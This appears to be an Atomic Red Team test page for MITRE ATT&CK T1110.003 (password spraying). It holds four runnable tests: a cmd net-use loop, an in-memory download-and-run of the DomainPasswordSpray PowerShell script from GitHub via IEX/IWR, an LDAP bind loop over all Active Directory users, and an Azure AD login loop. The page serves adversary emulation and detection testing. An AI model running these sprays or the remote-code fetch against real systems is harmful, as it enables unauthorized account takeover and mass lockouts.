# T1110.003 - Password Spraying
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1110/003)
<blockquote>Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

* SSH (22/TCP)
* Telnet (23/TCP)
* FTP (21/TCP)
* NetBIOS / SMB / Samba (139/TCP & 445/TCP)
* LDAP (389/TCP)
* Kerberos (88/TCP)
* RDP / Terminal Services (3389/TCP)
* HTTP/HTTP Management Services (80/TCP & 443/TCP)
* MSSQL (1433/TCP)
* Oracle (1521/TCP)
* MySQL (3306/TCP)
* VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.</blockquote>

## Atomic Tests

- [Atomic Test #1 - Password Spray all Domain Users](#atomic-test-1---password-spray-all-domain-users)

- [Atomic Test #2 - Password Spray (DomainPasswordSpray)](#atomic-test-2---password-spray-domainpasswordspray)

- [Atomic Test #3 - Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)](#atomic-test-3---password-spray-all-active-directory-domain-users-with-a-single-password-via-ldap-against-domain-controller-ntlm-or-kerberos)

- [Atomic Test #4 - Password spray all Azure AD users with a single password](#atomic-test-4---password-spray-all-azure-ad-users-with-a-single-password)


<br/>

## Atomic Test #1 - Password Spray all Domain Users
CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.
Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.
See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5

**Supported Platforms:** Windows


**auto_generated_guid:** 90bc2e54-6c84-47a5-9439-0a2a92b4b175





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| password | The password to try for each user in users.txt | String | Spring2020|


#### Attack Commands: Run with `command_prompt`! 


```cmd
@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL
```




#### Dependencies:  Run with `command_prompt`!
##### Description: List of domain users to password spray must exits at %temp%\users.txt
##### Check Prereq Commands:
```cmd
if not exist %temp%\users.txt (exit /b 1)
```
##### Get Prereq Commands:
```cmd
PathToAtomicsFolder\T1110.003\src\parse_net_users.bat
```




<br/>
<br/>

## Atomic Test #2 - Password Spray (DomainPasswordSpray)
Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

https://github.com/dafthack/DomainPasswordSpray

**Supported Platforms:** Windows


**auto_generated_guid:** 263ae743-515f-4786-ac7d-41ef3a0d4b2b





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| domain | Domain to brute force against | String | $Env:USERDOMAIN|


#### Attack Commands: Run with `powershell`! 


```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
```






<br/>
<br/>

## Atomic Test #3 - Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)
Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos

Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)

**Supported Platforms:** Windows


**auto_generated_guid:** f14d956a-5b6e-4a93-847f-0c415142f07d





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| password | single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001) | String | P@ssw0rd!|
| domain | Domain FQDN | String | $env:UserDnsDomain|
| auth | authentication method to choose between "NTLM" and "Kerberos" | String | NTLM|


#### Attack Commands: Run with `powershell`! 


```powershell
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
  Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
  exit 1
}

$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName

[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

$DomainUsers | Foreach-Object {
  $user = $_
  $password = '#{password}'

  $credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
  try {
    Write-Host " [-] Attempting ${password} on account ${user}."
    $conn.bind()
    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
    Write-Host " [!] ${user}:${password} are valid credentials!"
  } catch {
    Write-Host $_.Exception.Message
  }
}
Write-Host "End of password spraying"
```






<br/>
<br/>

## Atomic Test #4 - Password spray all Azure AD users with a single password
Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module.
Valid credentials are only needed to fetch the list of Azure AD users.

**Supported Platforms:** Azure-ad


**auto_generated_guid:** a8aa2d3e-1c52-4016-bc73-0f8854cfa80a





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| password | Single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001) | String | P@ssw0rd!|
| valid_username | Valid username to retrieve Azure AD users. We encourage users running this atomic to add a valid microsoft account domain; for eg <valid_test_user>@<valid_ms_account.com> | String | bruce.wayne@contoso.com|
| valid_password | Valid password to authenticate as valid_username in the <valid_ms_account> | String | iamthebatman|


#### Attack Commands: Run with `powershell`! 


```powershell
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
Connect-AzureAD -Credential $Credential > $null

($Users = Get-AzureADUser -All $true) > $null
Disconnect-AzureAD > $null
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force

$Users | Foreach-Object {
  $user = $_.UserPrincipalName
  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
  try {
    Write-Host " [-] Attempting #{password} on account ${user}."
    Connect-AzureAD -Credential $Credential 2>&1> $null
    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
    Write-Host " [!] ${user}:#{password} are valid credentials!`r`n"
    Disconnect-AzureAD > $null
  } catch {
    Write-Host " [-] ${user}:#{password} invalid credentials.`r`n"
  }
}
Write-Host "End of password spraying"
```




#### Dependencies:  Run with `powershell`!
##### Description: AzureAD module must be installed.
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name AzureAD -Force
```




<br/>
